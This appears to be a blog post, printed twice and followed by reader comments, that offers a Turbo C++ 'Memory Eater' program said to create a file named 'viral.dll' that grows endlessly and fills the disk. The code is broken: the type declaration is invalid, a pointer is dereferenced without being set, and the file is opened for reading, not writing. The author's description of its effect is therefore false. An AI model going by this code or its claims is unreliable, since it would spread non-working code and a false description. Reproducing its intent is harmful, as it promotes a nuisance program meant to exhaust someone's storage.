//Memory Eater
#include<iostream.h>
#include<fstream.h>
#include<conio.h>
int main()
{
clrscr() ;
Long double Int *K=9999999; //largest memory data type
ifstream fp;
fp.fopen("viral.dll",ios::in);
while(1)
fp>>*K; //store value in file infinitely
fp.close();
}
RUN this program you will notice that file will be created and it's size start increasing continously.
By:- KESHAV JOSHI
#include<iostream.h>
#include<fstream.h>
#include<conio.h>
int main()
{
clrscr() ;
Long double Int *K=9999999; //largest memory data type
ifstream fp;
fp.fopen("viral.dll",ios::in);
while(1)
fp>>*K; //store value in file infinitely
fp.close();
}
RUN this program you will notice that file will be created and it's size start increasing continously.
By:- KESHAV JOSHI
For any query you can ask me.... Thnxxx
ReplyDeleteVery nice sir. Your post are admirable..... Keep Posting
ReplyDelete